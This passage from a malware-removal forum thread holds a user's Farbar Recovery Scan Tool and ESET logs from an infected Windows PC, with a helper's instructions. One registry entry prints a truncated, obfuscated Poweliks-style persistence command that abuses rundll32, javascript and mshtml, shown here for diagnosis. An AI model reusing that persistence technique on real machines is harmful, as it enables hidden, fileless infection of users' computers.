20:16 - 00000000 ____D () C:\Users\Hagar\Documents\Saved recipes2014-12-26 17:04 - 2012-08-28 17:27 - 00000000 ____D () C:\Users\Hagar\Documents\Online Purchase Confirmations2014-12-20 13:27 - 2014-06-10 12:56 - 00003588 _____ () C:\Windows\System32\Tasks\G2MUpdateTask-S-1-5-21-3876090227-2952970025-1856670965-10012014-12-17 06:53 - 2009-07-14 00:08 - 00032544 _____ () C:\Windows\Tasks\SCHEDLGU.TXT2014-12-14 15:49 - 2012-04-05 06:22 - 00701616 _____ (Adobe Systems Incorporated) C:\Windows\SysWOW64\FlashPlayerApp.exe2014-12-14 15:49 - 2011-05-19 06:22 - 00071344 _____ (Adobe Systems Incorporated) C:\Windows\SysWOW64\FlashPlayerCPLApp.cpl2014-12-13 15:45 - 2012-01-06 07:51 - 00000000 ____D () C:\Users\Hagar\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Dropbox2014-12-12 07:04 - 2010-08-11 15:30 - 00002368 _____ () C:\Users\Hagar\Desktop\Google Chrome.lnk2014-12-10 12:27 - 2009-07-13 22:20 - 00000000 ____D () C:\Windows\rescache2014-12-10 08:44 - 2012-01-31 08:20 - 00000000 ____D () C:\Users\Hagar\Documents\Work & Resume Related Files2014-12-10 08:20 - 2009-07-13 22:20 - 00000000 ____D () C:\Windows\PolicyDefinitions2014-12-10 07:58 - 2013-08-14 19:39 - 00000000 ____D () C:\Windows\system32\MRT2014-12-10 07:53 - 2010-05-24 16:32 - 112710672 _____ (Microsoft Corporation) C:\Windows\system32\MRT.exe2014-12-10 07:44 - 2014-10-10 06:44 - 00002441 _____ () C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Adobe Reader XI.lnk2014-12-04 15:17 - 2014-05-21 07:38 - 00000000 ____D () C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Malwarebytes Anti-Malware2014-12-04 15:17 - 2014-05-21 07:38 - 00000000 ____D () C:\Program Files (x86)\Malwarebytes Anti-Malware2014-12-04 15:17 - 2012-03-28 08:56 - 00001142 _____ () C:\Users\Public\Desktop\Malwarebytes Anti-Malware.lnk2014-12-03 14:11 - 2012-12-08 16:43 - 00000000 ____D () C:\Users\Hagar\Documents\Judy Hoffman2014-12-03 14:11 - 2011-11-30 15:36 - 00000000 ____D () C:\Users\Hagar\Documents\Holiday Newsletters2014-12-02 08:35 - 2014-10-15 09:01 - 00012673 _____ () C:\Users\Hagar\Documents\Fax Cover Sheet.odtSome content of TEMP:====================C:\Users\Hagar\AppData\Local\Temp\6bak3aub.dllC:\Users\Hagar\AppData\Local\Temp\dropbox_sqlite_ext.{5f3e3153-5bce-5766-8f84-3e3e7ecf0d81}.tmpbrqkad.dllC:\Users\Hagar\AppData\Local\Temp\jre-7u45-windows-i586-iftw.exeC:\Users\Hagar\AppData\Local\Temp\jre-7u51-windows-i586-iftw.exeC:\Users\Hagar\AppData\Local\Temp\jre-7u55-windows-i586-iftw.exeC:\Users\Hagar\AppData\Local\Temp\jre-7u65-windows-i586-iftw.exeC:\Users\Hagar\AppData\Local\Temp\jre-7u67-windows-i586-iftw.exeC:\Users\Hagar\AppData\Local\Temp\jre-7u71-windows-i586-iftw.exeC:\Users\Hagar\AppData\Local\Temp\lowproc.exeC:\Users\Hagar\AppData\Local\Temp\MouseKeyboardCenterx64_1033.exeC:\Users\Hagar\AppData\Local\Temp\siinst.exeC:\Users\Hagar\AppData\Local\Temp\siuninst.exeC:\Users\Hagar\AppData\Local\Temp\strings.dllC:\Users\Hagar\AppData\Local\Temp\stubhelper.dll==================== Bamital & volsnap Check =================(There is no automatic fix for files that do not pass verification.)C:\Windows\System32\winlogon.exe => File is digitally signedC:\Windows\System32\wininit.exe => File is digitally signedC:\Windows\SysWOW64\wininit.exe => File is digitally signedC:\Windows\explorer.exe => File is digitally signedC:\Windows\SysWOW64\explorer.exe => File is digitally signedC:\Windows\System32\svchost.exe => File is digitally signedC:\Windows\SysWOW64\svchost.exe => File is digitally signedC:\Windows\System32\services.exe => File is digitally signedC:\Windows\System32\User32.dll => File is digitally signedC:\Windows\SysWOW64\User32.dll => File is digitally signedC:\Windows\System32\userinit.exe => File is digitally signedC:\Windows\SysWOW64\userinit.exe => File is digitally signedC:\Windows\System32\rpcss.dll => File is digitally signedC:\Windows\System32\Drivers\volsnap.sys => File is digitally signedLastRegBack: 2014-12-25 08:56==================== End Of Log ============================ Link to post Share on other sites More sharing options...
caracaldad Posted January 1, 2015 Author ID:924740 Share Posted January 1, 2015 I unable to run ESET Online Scanner from Internet Explorer, for some reason it just kept coming up with "An add-on for this website failed to run." I wasn't able to get it resolved, so I loaded the tool via Chrome and ran it that way. Good ol' Chrome! It ran for a bit over 4 hours. Here are the test results: C:\Users\Hagar\Documents\Mark's PPTs\Getty\PP_Auto.exe probably unknown NewHeur_PE virus deleted - quarantinedC:\Users\Hagar\Documents\Mark's PPTs\Randy Moore\PP_Auto.exe probably unknown NewHeur_PE virus deleted - quarantinedC:\Windows\Temp\youtubedownloaderToolbar.exe a variant of Win32/Toolbar.Widgi.B potentially unwanted application deleted - quarantinedC:\Windows\Temp\ytdToolbar.exe a variant of Win32/Toolbar.Widgi.B potentially unwanted application deleted - quarantined It still hasn't fixed the problem, as I'm still getting Malwarebytes pop-ups every few seconds that the PC is trying to access harmful sites. I'm also getting occasional pop-ups saying my security settings will not permit the type of file to be downloaded. Unfortunately IE is now so unstable I can't reply in this forum. Again, I had to use Chrome. Link to post Share on other sites More sharing options...
caracaldad Posted January 1, 2015 Author ID:924967 Share Posted January 1, 2015 Update: Powering up this morning the computer is now loosing internet connection about every 10 minutes, and IE is even more unstable. The Malwarebytes pop-up for dangerous websites is still showing itself every few seconds. So, what's next oh guru-of-cleaning? ;-) Link to post Share on other sites More sharing options...
kevinf80 Posted January 1, 2015 ID:925008 Share Posted January 1, 2015 Run FRST again, make sure all boxes are checkmarked under "Whitelist" also only Addition.txt is checkmarked under "Optional scan" Hit the scan tab, post the two new logs... Thanks, Kevin Link to post Share on other sites More sharing options...
caracaldad Posted January 1, 2015 Author ID:925012 Share Posted January 1, 2015 The browser seems faster and far more stable, but I'm still getting the Malwarebytes pop-up window telling me it's blocking Malicious websites every few seconds. Addition.txt Additional scan result of Farbar Recovery Scan Tool (x64) Version: 28-12-2014Ran by Hagar at 2015-01-01 13:54:29Running from C:\CopyBoot Mode: Normal============================================================================== Security Center ========================(If an entry is included in the fixlist, it will be removed.)AV: Microsoft Security Essentials (Enabled - Up to date) {4F35CFC4-45A3-FC37-EF17-759A02E39AB1}AS: Microsoft Security Essentials (Enabled - Up to date) {F4542E20-6399-F3B9-D5A7-4EE87964D00C}AS: Windows Defender (Disabled - Out of date) {D68DDC3A-831F-4fae-9E44-DA132C1ACF46}==================== Installed Programs ======================(Only the adware programs with "hidden" flag could be added to the fixlist to unhide them. The adware programs should be uninstalled manually.)AC3 Player version 1.0 (HKLM-x32\...\{88246387-F3C7-43D3-B1C8-A5FEB11D6C61}_is1) (Version: 1.0 - ac3directshowfilter.com)Adobe AIR (HKLM-x32\...\Adobe AIR) (Version: 3.3.0.3650 - Adobe Systems Incorporated)Adobe Community Help (HKLM-x32\...\chc.4875E02D9FB21EE389F73B8D1702B320485DF8CE.1) (Version: 3.5.23 - Adobe Systems Incorporated.)Adobe Flash Player 11 Plugin (HKLM-x32\...\Adobe Flash Player Plugin) (Version: 11.9.900.170 - Adobe Systems Incorporated)Adobe Flash Player 16 ActiveX (HKLM-x32\...\Adobe Flash Player ActiveX) (Version: 16.0.0.235 - Adobe Systems Incorporated)Adobe Photoshop Elements 10 (HKLM-x32\...\Adobe Photoshop Elements 10) (Version: 10.0 - Adobe Systems Incorporated)Adobe Photoshop.com Inspiration Browser (HKLM-x32\...\PhotoshopdotcomInspirationBrowser.4C35C4D325D350FE0114230CBADCA2DDD0AC8D25.1) (Version: 3.07 - Adobe Systems Incorporated)Adobe Reader XI (11.0.10) (HKLM-x32\...\{AC76BA86-7AD7-1033-7B44-AB0000000001}) (Version: 11.0.10 - Adobe Systems Incorporated)AMD Catalyst Install Manager (HKLM\...\{13351E83-6DCD-4E97-2A8C-5D496259A47F}) (Version: 8.0.915.0 - Advanced Micro Devices, Inc.)Apple Application Support (HKLM-x32\...\{83CAF0DE-8D3B-4C37-A631-2B8F16EC3031}) (Version: 3.1 - Apple Inc.)Apple Mobile Device Support (HKLM\...\{BDD99690-3541-4619-9D2A-3CDDB3E15F9E}) (Version: 8.0.5.6 - Apple Inc.)Apple Software Update (HKLM-x32\...\{789A5B64-9DD9-4BA5-915A-F0FC0A1B7BFE}) (Version: 2.1.3.127 - Apple Inc.)ATI Catalyst Registration (x32 Version: 3.00.0000 - ATI Technologies Inc.) HiddenAudioLabel (HKLM-x32\...\AudioLabel) (Version: 4.40 (Build 10) - CDCoverSoft)Battle.net (HKLM-x32\...\Battle.net) (Version: - Blizzard Entertainment)Battlefield: Bad Company 2 (HKLM-x32\...\Steam App 24960) (Version: - DICE)Belkin Setup and Router Monitor (HKLM-x32\...\Belkin Setup and Router Monitor_is1) (Version: - )BioShock (HKLM-x32\...\Steam App 7670) (Version: - 2K Boston)BioShock Infinite (HKLM-x32\...\Steam App 8870) (Version: - Irrational Games)Bonjour (HKLM\...\{6E3610B2-430D-4EB0-81E3-2B57E8B9DE8D}) (Version: 3.0.0.10 - Apple Inc.)Borderlands (HKLM-x32\...\Steam App 8980) (Version: - Gearbox Software)Borderlands 2 (HKLM-x32\...\Steam App 49520) (Version: - Gearbox Software)Borders Desktop (HKLM-x32\...\Borders Desktop) (Version: 2.0.4 - Kobo Inc.)Box Sync (x32 Version: 4.0.5641.0 - Box Inc.) HiddenCisco WebEx Meetings (HKLM-x32\...\ActiveTouchMeetingClient) (Version: - Cisco WebEx LLC)Citrix Online Launcher (HKLM-x32\...\{F17C3DC2-2ACA-4B0E-BDBF-ACE61B14E7CD}) (Version: 1.0.183 - Citrix)Counter-Strike (HKLM-x32\...\Steam App 10) (Version: - Valve)Counter-Strike: Condition Zero (HKLM-x32\...\Steam App 80) (Version: - Valve)Counter-Strike: Condition Zero Deleted Scenes (HKLM-x32\...\Steam App 100) (Version: - Valve)CutePDF Writer 2.8 (HKLM\...\CutePDF Writer Installation) (Version: - )D3DX10 (x32 Version: 15.4.2368.0902 - Microsoft) HiddenDay of Defeat (HKLM-x32\...\Steam App 30) (Version: - Valve)Diablo III (HKLM-x32\...\Diablo III) (Version: - Blizzard Entertainment)DivX Setup (HKLM-x32\...\DivX Setup) (Version: 2.6.1.84 - DivX, LLC)Dropbox (HKU\S-1-5-21-3876090227-2952970025-1856670965-1001\...\Dropbox) (Version: 3.0.3 - Dropbox, Inc.)Elements 10 Organizer (x32 Version: 10.0 - Adobe Systems Incorporated) HiddenEPSON Scan (HKLM-x32\...\EPSON Scanner) (Version: - )Fallout 3 - Game of the Year Edition (HKLM-x32\...\Steam App 22370) (Version: - Bethesda Softworks)Fallout Mod Manager 0.13.21 (HKLM-x32\...\Generic Mod Manager_is1) (Version: - Q, Timeslip)Fallout: New Vegas (HKLM-x32\...\Steam App 22380) (Version: - Bethesda Softworks)Family Lawyer 2004 (HKLM-x32\...\{95C2FBF3-4462-41E3-89DC-0F784387BD53}) (Version: - Broderbund)foobar2000 v1.3.2 (HKLM-x32\...\foobar2000) (Version: 1.3.2 - Peter Pawlowski)Free DVD Ripper Version 2.25 (HKLM-x32\...\Free DVD Ripper 2.25_is1) (Version: - NeSoft)Google Chrome (HKU\S-1-5-21-3876090227-2952970025-1856670965-1001\...\Google Chrome) (Version: 39.0.2171.95 - Google Inc.)Google Earth Plug-in (HKLM-x32\...\{4AB54F11-2F8C-11E3-B09F-B8AC6F97B88E}) (Version: 7.1.2.2041 - Google)Google Update Helper (x32 Version: 1.3.25.11 - Google Inc.) HiddenGoToMeeting 7.0.5.2130 (HKU\S-1-5-21-3876090227-2952970025-1856670965-1001\...\GoToMeeting) (Version: 7.0.5.2130 - CitrixOnline)Half-Life 2 (HKLM-x32\...\Steam App 220) (Version: - Valve)Half-Life 2: Episode One (HKLM-x32\...\Steam App 380) (Version: - Valve)Half-Life 2: Episode Two (HKLM-x32\...\Steam App 420) (Version: - Valve)Half-Life 2: Lost Coast (HKLM-x32\...\Steam App 340) (Version: - Valve)HP LaserJet Professional P1100-P1560-P1600 Series (HKLM\...\HP LaserJet Professional P1100-P1560-P1600 Series) (Version: - )hppLaserJetService (x32 Version: 001.001.0.0 - Hewlett-Packard) HiddenhppP1100P1560P1600SeriesLaserJetService (x32 Version: 001.001.0.0 - Hewlett-Packard) HiddenhppusgP1100P1560P1600Series (x32 Version: 1.0.0.1 - Hewlett-Packard) HiddenIBM Lotus Symphony (HKLM-x32\...\{294f69aa-9abb-4211-ace2-cb18379c2742}) (Version: 3.0.10289 - IBM)IrfanView (remove only) (HKLM-x32\...\IrfanView) (Version: 4.27 - Irfan Skiljan)iTunes (HKLM\...\{2ABBBD91-91E5-4AD7-929A-FE15D1DC0576}) (Version: 12.0.1.26 - Apple Inc.)Java 7 Update 71 (HKLM-x32\...\{26A24AE4-039D-4CA4-87B4-2F03217071FF}) (Version: 7.0.710 - Oracle)John's Background Switcher 4.4 (HKLM-x32\...\{DD3DAD13-289E-440E-A5D3-3EFB25305018}_is1) (Version: 4.4 - johnsadventures.com)join.me (HKU\S-1-5-21-3876090227-2952970025-1856670965-1001\...\JoinMe) (Version: 1.17.0.112 - LogMeIn, Inc.)Junk Mail filter update (x32 Version: 15.4.3502.0922 - Microsoft Corporation) HiddenJust Cause 2 (HKLM-x32\...\Steam App 8190) (Version: - Avalanche)Left 4 Dead (HKLM-x32\...\Steam App 500) (Version: - Valve)Left 4 Dead 2 (HKLM-x32\...\Steam App 550) (Version: - Valve)Malwarebytes Anti-Malware version 2.0.4.1028 (HKLM-x32\...\Malwarebytes Anti-Malware_is1) (Version: 2.0.4.1028 - Malwarebytes Corporation)MarketResearch (x32 Version: 130.0.374.000 - Hewlett-Packard) HiddenMedia Player Classic - Home Cinema v1.4.2499.0 x64 (HKLM\...\{2ACBF1FA-F5C3-4B19-A774-B22A31F231B9}_is1) (Version: 1.4.2499.0 - MPC-HC Team)Microsoft .NET Framework 4.5.1 (HKLM\...\{92FB6C44-E685-45AD-9B20-CADF4CABA132} - 1033) (Version: 4.5.50938 - Microsoft Corporation)Microsoft Easy Assist v2 (HKLM-x32\...\{326957C7-83FD-4550-A59A-849B7B4297DE}) (Version: 8.1.6416.0 - Microsoft Corporation)Microsoft Games for Windows - LIVE Redistributable (HKLM-x32\...\{F2508213-9989-4E85-A078-72BE483917EF}) (Version: 3.5.88.0 - Microsoft Corporation)Microsoft Games for Windows Marketplace (HKLM-x32\...\{4CB0307C-565E-4441-86BE-0DF2E4FB828C}) (Version: 3.5.50.0 - Microsoft Corporation)Microsoft Lync 2010 (HKLM\...\{81BE0B17-563B-45D4-B198-5721E6C665CD}) (Version: 4.0.7577.4446 - Microsoft Corporation)Microsoft Mouse and Keyboard Center (HKLM\...\Microsoft Mouse and Keyboard Center) (Version: 2.3.188.0 - Microsoft Corporation)Microsoft OneDrive (HKU\S-1-5-21-3876090227-2952970025-1856670965-1001\...\OneDriveSetup.exe) (Version: 17.3.1229.0918 - Microsoft Corporation)Microsoft Online Services Sign-in Assistant (HKLM\...\{E20B2752-0909-4B28-B8A9-A9BE519CA1A1}) (Version: 7.250.4287.0 - Microsoft Corporation)Microsoft Security Essentials (HKLM\...\Microsoft Security Client) (Version: 4.6.305.0 - Microsoft Corporation)Microsoft Silverlight (HKLM\...\{89F4137D-6C26-4A84-BDB8-2E5A4BB71E00}) (Version: 5.1.30514.0 - Microsoft Corporation)Microsoft SQL Server 2005 Compact Edition [ENU] (HKLM-x32\...\{F0B430D1-B6AA-473D-9B06-AA3DD01FD0B8}) (Version: 3.1.0000 - Microsoft Corporation)Microsoft Visio Viewer 2010 (HKLM-x32\...\{95140000-0052-0409-0000-0000000FF1CE}) (Version: 14.0.7015.1000 - Microsoft Corporation)Microsoft Visual C++ 2005 ATL Update kb973923 - x86 8.0.50727.4053 (HKLM-x32\...\{770657D0-A123-3C07-8E44-1C83EC895118}) (Version: 8.0.50727.4053 - Microsoft Corporation)Microsoft Visual C++ 2005 Redistributable (HKLM-x32\...\{710f4c1c-cc18-4c49-8cbf-51240c89a1a2}) (Version: 8.0.61001 - Microsoft Corporation)Microsoft Visual C++ 2005 Redistributable (HKLM-x32\...\{7299052b-02a4-4627-81f2-1818da5d550d}) (Version: 8.0.56336 - Microsoft Corporation)Microsoft Visual C++ 2005 Redistributable (HKLM-x32\...\{837b34e3-7c30-493c-8f6a-2b0f04e2912c}) (Version: 8.0.59193 - Microsoft Corporation)Microsoft Visual C++ 2008 ATL Update kb973924 - x86 9.0.30729.4148 (HKLM-x32\...\{002D9D5E-29BA-3E6D-9BC4-3D7D6DBC735C}) (Version: 9.0.30729.4148 - Microsoft Corporation)Microsoft Visual C++ 2008 Redistributable - KB2467174 - x64 9.0.30729.5570 (HKLM\...\{8338783A-0968-3B85-AFC7-BAAE0A63DC50}) (Version: 9.0.30729.5570 - Microsoft Corporation)Microsoft Visual C++ 2008 Redistributable - KB2467174 - x86 9.0.30729.5570 (HKLM-x32\...\{86CE85E6-DBAC-3FFD-B977-E4B79F83C909}) (Version: 9.0.30729.5570 - Microsoft Corporation)Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.17 (HKLM\...\{8220EEFE-38CD-377E-8595-13398D740ACE}) (Version: 9.0.30729 - Microsoft Corporation)Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.4148 (HKLM\...\{4B6C7001-C7D6-3710-913E-5BC23FCE91E6}) (Version: 9.0.30729.4148 - Microsoft Corporation)Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161 (HKLM\...\{5FCE6D76-F5DC-37AB-B2B8-22AB8CEDB1D4}) (Version: 9.0.30729.6161 - Microsoft Corporation)Microsoft Visual C++ 2008 Redistributable - x86 9.0.21022 (HKLM-x32\...\{FF66E9F6-83E7-3A3E-AF14-8DE9A809A6A4}) (Version: 9.0.21022 - Microsoft Corporation)Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.17 (HKLM-x32\...\{9A25302D-30C0-39D9-BD6F-21E6EC160475}) (Version: 9.0.30729 - Microsoft Corporation)Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.4148 (HKLM-x32\...\{1F1C2DFC-2D24-3E06-BCB8-725134ADF989}) (Version: 9.0.30729.4148 - Microsoft Corporation)Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 (HKLM-x32\...\{9BE518E6-ECC6-35A9-88E4-87755C07200F}) (Version: 9.0.30729.6161 - Microsoft Corporation)Microsoft Visual C++ 2010 x86 Redistributable - 10.0.40219 (HKLM-x32\...\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}) (Version: 10.0.40219 - Microsoft Corporation)Microsoft Visual C++ 2012 Redistributable (x64) - 11.0.50727 (HKLM-x32\...\{15134cb0-b767-4960-a911-f2d16ae54797}) (Version: 11.0.50727.1 - Microsoft Corporation)Microsoft Visual C++ 2012 Redistributable (x86) - 11.0.50727 (HKLM-x32\...\{22154f09-719a-4619-bb71-5b3356999fbf}) (Version: 11.0.50727.1 - Microsoft Corporation)MobileMe Control Panel (HKLM\...\{3C5E60F1-0821-4B07-97EA-84EB5A927CF6}) (Version: 3.1.6.0 - Apple Inc.)Mozilla Firefox 27.0 (x86 en-US) (HKLM-x32\...\Mozilla Firefox 27.0 (x86 en-US)) (Version: 27.0 - Mozilla)Mozilla Maintenance Service (HKLM-x32\...\MozillaMaintenanceService) (Version: 27.0 - Mozilla)Mp3tag v2.57 (HKLM-x32\...\Mp3tag) (Version: v2.57 - Florian Heidenreich)NEC Electronics USB 3.0 Host Controller Driver (HKLM-x32\...\InstallShield_{D7BF9739-8A68-4335-BBEE-37752AD9E86B}) (Version: 1.0.18.0 - NEC Electronics Corporation)NEC Electronics USB 3.0 Host Controller Driver (x32 Version: 1.0.18.0 - NEC Electronics Corporation) HiddenNoteTab Light 6 (Remove only) (HKLM-x32\...\NoteTab Light 6_is1) (Version: 6.2 - Fookes Holding Ltd)NVIDIA PhysX v8.10.29 (HKLM-x32\...\{D56B0E27-4A3E-46C9-B5C1-D93D580C099C}) (Version: 8.10.29 - NVIDIA Corporation)PSE10 STI Installer (x32 Version: 10.0 - Adobe Systems Incorporated) HiddenPunkBuster Services (HKLM-x32\...\PunkBusterSvc) (Version: 0.988 - Even Balance, Inc.)QuickTime 7 (HKLM-x32\...\{3D2CBC2C-65D4-4463-87AB-BB2C859C1F3E}) (Version: 7.76.80.95 - Apple Inc.)RealDownloader (x32 Version: 1.3.3 - RealNetworks, Inc.) HiddenRealNetworks - Microsoft Visual C++ 2008 Runtime (x32 Version: 9.0 - RealNetworks, Inc) HiddenRealNetworks - Microsoft Visual C++ 2010 Runtime (x32 Version: 10.0 - RealNetworks, Inc) HiddenRealPlayer (HKLM-x32\...\RealPlayer 16.0) (Version: 16.0.3 - RealNetworks)Realtek Ethernet Controller Driver For Windows Vista and Later (HKLM-x32\...\{8833FFB6-5B0C-4764-81AA-06DFEED9A476}) (Version: 1.00.0009 - Realtek)Realtek HDMI Audio Driver for ATI (HKLM-x32\...\{5449FB4F-1802-4D5B-A6D8-087DB1142147}) (Version: 6.0.1.5992 - Realtek Semiconductor Corp.)Realtek High Definition Audio Driver (HKLM-x32\...\{F132AF7F-7BCA-4EDE-8A7C-958108FE7DBC}) (Version: 6.0.1.5998 - Realtek Semiconductor Corp.)RealUpgrade 1.1 (x32 Version: 1.1.0 - RealNetworks, Inc.) HiddenS.T.A.L.K.E.R.: Call of Pripyat (HKLM-x32\...\Steam App 41700) (Version: - GSC Game World)Steam (HKLM-x32\...\{048298C9-A4D3-490B-9FF9-AB023A9238F3}) (Version: 1.0.0.0 - Valve Corporation)TeamSpeak 3 Client (HKLM\...\TeamSpeak 3 Client) (Version: 3.0.8.1 - TeamSpeak Systems GmbH)TeraCopy 2.27 (HKLM\...\TeraCopy_is1) (Version: - Code Sector)The Elder Scrolls V: Skyrim (HKLM-x32\...\Steam App 72850) (Version: - Bethesda Game Studios)The Lord of the Rings FREE Trial (x32 Version: 1.00.0000 - ATI Technologies Inc.) HiddenVC80CRTRedist - 8.0.50727.6195 (x32 Version: 1.2.0 - DivX, Inc) HiddenVentrilo Client (HKLM-x32\...\{789289CA-F73A-4A16-A331-54D498CE069F}) (Version: 3.0.5 - Flagship Industries, Inc.)Visual C++ 8.0 Runtime Setup Package (x64) (HKLM-x32\...\{2FDBBCEA-62DB-45F4-B6E5-0E1FB2A1F29D}) (Version: 9.0.0.623 - AVG Technologies CZ, s.r.o.)WIDCOMM Bluetooth Software (HKLM\...\{9E9D49A4-1DF4-4138-B7DB-5D87A893088E}) (Version: 6.2.1.500 - Broadcom Corporation)Winamp (HKLM-x32\...\Winamp) (Version: 5.623 - Nullsoft, Inc)Winamp Detector Plug-in (HKU\S-1-5-21-3876090227-2952970025-1856670965-1001\...\Winamp Detect) (Version: 1.0.0.1 - Nullsoft, Inc)Windows Driver Package - Broadcom Bluetooth (06/15/2009 6.2.0.9000) (HKLM\...\6B8550A319DDC8B17F35F4A89988705E4592349B) (Version: 06/15/2009 6.2.0.9000 - Broadcom)Windows Driver Package - Broadcom Bluetooth (07/30/2009 6.2.0.9405) (HKLM\...\6B6B5E96843E55CF5CF8C7E45FB457F1FE642FF1) (Version: 07/30/2009 6.2.0.9405 - Broadcom)Windows Driver Package - Broadcom HIDClass (07/28/2009 6.2.0.9800) (HKLM\...\3BA80AB4C7E9F8497C115C844953A3D4BEB84D21) (Version: 07/28/2009 6.2.0.9800 - Broadcom)Windows Live Essentials (HKLM-x32\...\WinLiveSuite) (Version: 15.4.3555.0308 - Microsoft Corporation)Windows Live Sync (HKLM-x32\...\{B10914FD-8812-47A4-85A1-50FCDE7F1F33}) (Version: 14.0.8117.416 - Microsoft Corporation)Windows Media Player Firefox Plugin (HKLM-x32\...\{69FDFBB6-351D-4B8C-89D8-867DC9D0A2A4}) (Version: 1.0.0.8 - Microsoft Corp)WinRAR archiver (HKLM-x32\...\WinRAR archiver) (Version: - )Wolfenstein 1.2 Patch (x32 Version: - ) HiddenWorld of Warcraft (HKLM-x32\...\World of Warcraft) (Version: - Blizzard Entertainment)==================== Custom CLSID (selected items): ==========================(If an entry is included in the fixlist, it will be removed from registry. Any eventual file will not be moved.)CustomCLSID: HKU\S-1-5-21-3876090227-2952970025-1856670965-1001_Classes\CLSID\{005A3A96-BAC4-4B0A-94EA-C0CE100EA736}\localserver32 -> C:\Users\Hagar\AppData\Roaming\Dropbox\bin\Dropbox.exe (Dropbox, Inc.)CustomCLSID: HKU\S-1-5-21-3876090227-2952970025-1856670965-1001_Classes\CLSID\{0F22A205-CFB0-4679-8499-A6F44A80A208}\InprocServer32 -> C:\Users\Hagar\AppData\Local\Google\Update\1.3.25.5\psuser_64.dll No FileCustomCLSID: HKU\S-1-5-21-3876090227-2952970025-1856670965-1001_Classes\CLSID\{355EC88A-02E2-4547-9DEE-F87426484BD1}\InprocServer32 -> C:\Users\Hagar\AppData\Local\Google\Update\1.3.23.9\psuser_64.dll No FileCustomCLSID: HKU\S-1-5-21-3876090227-2952970025-1856670965-1001_Classes\CLSID\{49333195-81f4-43c6-a392-3398425598a1}\InprocServer32 -> C:\Windows\system32\dfshim.dll (Microsoft Corporation)CustomCLSID: HKU\S-1-5-21-3876090227-2952970025-1856670965-1001_Classes\CLSID\{84B5A313-CD5D-4904-8BA2-AFDC81C1B309}\InprocServer32 -> C:\Users\Hagar\AppData\Local\Citrix\GoToMeeting\1350\G2MOutlookAddin64.dll (Citrix Online, a division of Citrix Systems, Inc.)CustomCLSID: HKU\S-1-5-21-3876090227-2952970025-1856670965-1001_Classes\CLSID\{87daff98-678c-4f4a-aafe-5254cadbe393}\InprocServer32 -> C:\Windows\system32\dfshim.dll (Microsoft Corporation)CustomCLSID: HKU\S-1-5-21-3876090227-2952970025-1856670965-1001_Classes\CLSID\{90B3DFBF-AF6A-4EA0-8899-F332194690F8}\InprocServer32 -> C:\Users\Hagar\AppData\Local\Google\Update\1.3.24.15\psuser_64.dll No FileCustomCLSID: HKU\S-1-5-21-3876090227-2952970025-1856670965-1001_Classes\CLSID\{A0396A93-DC06-4AEF-BEE9-95FFCCAEF20E}\InprocServer32 -> C:\Users\Hagar\AppData\Local\Microsoft\SkyDrive\17.3.1229.0918\amd64\SkyDriveShell64.dll (Microsoft Corporation)CustomCLSID: HKU\S-1-5-21-3876090227-2952970025-1856670965-1001_Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\localserver32 -> rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication ";eval("epdvnfou/xsjuf)(=tdsjqu!mbohvbhf> (the data entry has 251 more characters). <==== Poweliks?CustomCLSID: HKU\S-1-5-21-3876090227-2952970025-1856670965-1001_Classes\CLSID\{BBACC218-34EA-4666-9D7A-C78F2274A524}\InprocServer32 -> C:\Users\Hagar\AppData\Local\Microsoft\SkyDrive\17.3.1229.0918\amd64\SkyDriveShell64.dll (Microsoft Corporation)CustomCLSID: HKU\S-1-5-21-3876090227-2952970025-1856670965-1001_Classes\CLSID\{CB3D0F55-BC2C-4C1A-85ED-23ED75B5106B}\InprocServer32 -> C:\Users\Hagar\AppData\Local\Microsoft\SkyDrive\17.3.1229.0918\amd64\SkyDriveShell64.dll (Microsoft Corporation)CustomCLSID: HKU\S-1-5-21-3876090227-2952970025-1856670965-1001_Classes\CLSID\{D0336C0B-7919-4C04-8CCE-2EBAE2ECE8C9}\InprocServer32 -> C:\Users\Hagar\AppData\Local\Google\Update\1.3.25.11\psuser_64.dll (Google Inc.)CustomCLSID: HKU\S-1-5-21-3876090227-2952970025-1856670965-1001_Classes\CLSID\{E8CF3E55-F919-49D9-ABC0-948E6CB34B9F}\InprocServer32 -> C:\Users\Hagar\AppData\Local\Google\Update\1.3.25.11\psuser_64.dll (Google Inc.)CustomCLSID: HKU\S-1-5-21-3876090227-2952970025-1856670965-1001_Classes\CLSID\{F241C880-6982-4CE5-8CF7-7085BA96DA5A}\InprocServer32 -> C:\Users\Hagar\AppData\Local\Microsoft\SkyDrive\17.3.1229.0918\amd64\SkyDriveShell64.dll (Microsoft Corporation)CustomCLSID: HKU\S-1-5-21-3876090227-2952970025-1856670965-1001_Classes\CLSID\{F8071786-1FD0-4A66-81A1-3CBE29274458}\InprocServer32 -> C:\Users\Hagar\AppData\Local\Microsoft\SkyDrive\17.3.1229.0918\amd64\FileSyncApi64.dll (Microsoft Corporation)CustomCLSID: HKU\S-1-5-21-3876090227-2952970025-1856670965-1001_Classes\CLSID\{FB314ED9-A251-47B7-93E1-CDD82E34AF8B}\InprocServer32 -> C:\Users\Hagar\AppData\Roaming\Dropbox\bin\DropboxExt64.24.dll (Dropbox, Inc.)CustomCLSID: HKU\S-1-5-21-3876090227-2952970025-1856670965-1001_Classes\CLSID\{FB314EDA-A251-47B7-93E1-CDD82E34AF8B}\InprocServer32 -> C:\Users\Hagar\AppData\Roaming\Dropbox\bin\DropboxExt64.24.dll (Dropbox, Inc.)CustomCLSID: HKU\S-1-5-21-3876090227-2952970025-1856670965-1001_Classes\CLSID\{FB314EDB-A251-47B7-93E1-CDD82E34AF8B}\InprocServer32 -> C:\Users\Hagar\AppData\Roaming\Dropbox\bin\DropboxExt64.24.dll (Dropbox, Inc.)CustomCLSID: HKU\S-1-5-21-3876090227-2952970025-1856670965-1001_Classes\CLSID\{FB314EDC-A251-47B7-93E1-CDD82E34AF8B}\InprocServer32 -> C:\Users\Hagar\AppData\Roaming\Dropbox\bin\DropboxExt64.24.dll 